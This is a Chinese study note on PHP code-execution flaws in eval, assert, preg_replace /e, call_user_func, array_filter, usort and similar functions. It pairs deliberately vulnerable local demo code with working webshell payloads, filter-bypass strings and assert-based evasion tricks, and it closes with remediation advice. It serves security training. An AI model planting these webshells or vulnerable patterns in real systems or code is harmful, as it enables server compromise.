护网笔记(十二)--代码执行漏洞

目录

代码执行漏洞

概述

在Web应用中有时候程序员为了考虑灵活性,简洁性,会在代码调用eval函数(PHP函数)去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。

相关函数

eval() //字符串作为php代码执行

assert()

preg_replace() // 执行一个正则表达式的搜索和替换

create_function() // 创建匿名函数

array_map()

call_user_func() / call_user_func_array()

array_filter()

usort(), uasort()

$_GET['a'] //a=assert&b=phpinfo()

危害

eval函数

<?php
    eval('phpinfo();');   //eval() 函数把字符串按照 PHP 代码执行。
?>

eval()函数漏洞利用_1

<?php
    $data=$_GET['data'];
	eval("\$ret = $data;");
	echo $ret;
?>

使用一句话木马连接测试:
护网笔记(十二)--代码执行漏洞

phpstrom代码调试

http://127.0.0.1/hello.php?data=phpinfo()&XDEBUG_SESSION_START=PHPSTORM

实验

尝试利用下面代码,构造一句话木马,并使用蚁剑连接

demo.php

<?php
    eval($_GET['a']);   //$_GET 变量用于收集来自表单中的值
?>
http://127.0.0.1/demo.php?a=eval($_POST[%27b%27]);

eval()函数绕过

如何绕过下面代码过滤,构造出一句话木马,并能用蚁剑连接。

<?php
	$data = $_GET['a'];
	$temp = "\$ret = strtolower(\"data\");"; //strtolower()函数 把字符串转换为小写
	eval($temp);
	echo $ret;
?>
//双引号url编码是%22
http://127.0.0.1/demo.php?a=%22);phpinfo();(%22
//构造一句话木马

//第一种方式
http://127.0.0.1/demo.php?a=%22);eval($_POST[%27b%27]);(%22

//第二种方式
http://127.0.0.1/demo.php?a=${eval($_POST[%27b%27])}

assert函数

** assert函数直接将传入的参数当成PHP代码直接执行,不需要以分号结尾,加分号也可以**

<?php @assert($_GET['cmd'])?>
<?php @assert($_POST['cmd'])?>   

assert函数只能执行一个函数,像echo 123123; assert却不能直接执行

** 可变变量,可变函数**

<?php
    //可变变量
    $a = 'b';
    $b = 'c';
    echo $$a; //c

    //可变函数
    function sayHello(){
        echo 'hello world';
    }
    $a = 'say';
    $b = 'hello';
    $c = $a.$b;
    $c();
?>
<?php
	//eval()函数 是一个语言构造器而不是一个函数,不能被可变函数调用
	$a = 'ev';
	$b = 'al';
	$c = $a.$b;
	$c("phpinfo();")  //报错
        
    //assert()函数,能被可变函数调用
   	$a = 'ass';
	$b = 'ert';
	$c = $a.$b;
	$c("phpinfo()")
             
?>

注意:因为eval()是一个语言构造器而不是一个函数,不能被可变函数调用。

构造一句话木马,使用蚁剑连接

<?php   
    //assert()函数,能被可变函数调用
   	$a = 'ass';
	$b = 'ert';
	$c = $a.$b;
	$c($_GET['a']);
?>
http://127.0.0.1/demo.php?a=eval($_POST[%27b%27])

preg_repalce函数

PHP版本5.6之前

preg_repalce函数执行一个正则表达式的搜索和替换

preg_replace (正则表达式, 替换成, 字符串)

preg_replace ( $pattern , $replacement , string)

<?php 
$a = $_GET['a'];
echo preg_replace("/test/e",$a,"just test!");
    
?>
/*
如果我们提交?a=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将第二参数当作 PHP 代码执行
当使用 /e 修饰符调用 preg_replace() 时,解释器必须在每次替换时将替换字符串解析为 PHP 代码一次
*/

构造一句话木马,使用蚁剑连接

http://127.0.0.1/demo.php?a=eval($_POST[%27b%27])

preg_replace 进行代码执行,需要的条件

​				1、修饰符需要有e

​				2、要求版本小于等于5.6

​				3、第二个参数要直接或者间接可控

​				4、模式必须成功匹配到

phpstrom进行下面代码调试

<?php
    //echo $data;
    //此时相当于在$data变量中查找是否满足正则匹配的条件
    //此时的正则表达式条件:<data>(.*)</data>
    //如果满足正则匹配条件,则将replacement参数中的值进行替换
    //如果说第一个参数中有/e,则代表replacement参数,可以近似大的理解为将代码先用eval进行执行
    $data=$_GET['data'];
	echo $data;
	preg_replace('/<data>(.*)<\/data>/e','$ret="\\1"',$data);
    echo $ret;
    
?>
//小于号的url编码是%3C
//大于号的url编码是%3E

http://127.0.0.1/demo.php?data=%3Cdata%3Exingongke%3C/data%3E&XDEBUG_SESSION_START=PHPSTORM

护网笔记(十二)--代码执行漏洞

create_function函数

create_function — 创建匿名函数

我们一般应该怎么创建函数

比如说:

<?php
function diy_add($a,$b){
	return $a + $b;
}
echo diy_add(3,6);
?>

create_function函数可以 创建"匿名"函数

    <?php
        $func = create_function('$a,$b', 'echo $a.$b;');
        $func('hello','world');

	//上面代码和下面代码实现相似功能
	function xxx($a,$b){
        echo "$a"."$b";
    }
    xxx('hello','world');
?>

array_map函数

array_map — 为数组的每个元素应用回调函数

array_map ( callable $callback , array $array , array ...$arrays )

参数

callback

回调函数 callable,应用到每个数组里的每个元素。

多个数组操作合并时,callback 可以设置为 null。 如果只提供了 array 一个数组, array_map() 会返回输入的数组。

array

数组,遍历运行 callback 函数。

arrays

额外的数组列表,每个都遍历运行 callback 函数。

例:

<?php
    function cube($n)
    {
        return ($n * $n * $n);
    }

    $a = [1, 2, 3, 4, 5];
    $b = array_map('cube', $a);
    print_r($b);
?>

call_user_func函数

call_user_func() — 把第一个参数作为回调函数调用

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

http://127.0.0.1/demo.php?cmd=phpinfo();
<?php
    call_user_func("assert", $_GET['cmd']);
?>

array_filter函数

array_filter — 使用回调函数过滤数组的元素

http://127.0.0.1/demo.php?a=phpinfo();
<?php
    $array[0] = $_GET['a'];
    array_filter($array, 'assert');
?>
http://127.0.0.1/demo.php?1=assert&2=phpinfo();
<?php
	$_GET[1]($_GET[2]);
?>

usort函数

usort — 使用用户自定义的比较函数对数组中的值进行排序

http://127.0.0.1/demo.php?1=phpinfo();
<?php
 $a = array($_GET[1],12345,'hehe');
 function xxx($num1, $num2){
     @assert($num2);
     return -1;
 }
 usort($a, 'xxx')
?>

大马和小马的区别: 小马往往是可以动态的执行下达的指令,通常都是eval,assert函数来执行的,体积小,容易免杀。 大马往往是将整个功能点已经写入在文件中,执行相应的操作无需调用eval等函数来执行,往往体积较大,免杀相对复杂

漏洞修复方案

1,对于eval()等函数一定要保证用户不能控制函数的参数,或者使用正则,对用户输入数据的格式进行判断。

2,对于字符串一定要使用单引号包裹可控代码,并且插入前进行过滤

3,对于preg_replace放弃使用e修饰符。如果必须要用e修饰符,请判断第二个参数,是否会被插入php代码

上一篇:【星河(star)】题解


下一篇:高中数学中的奇技淫巧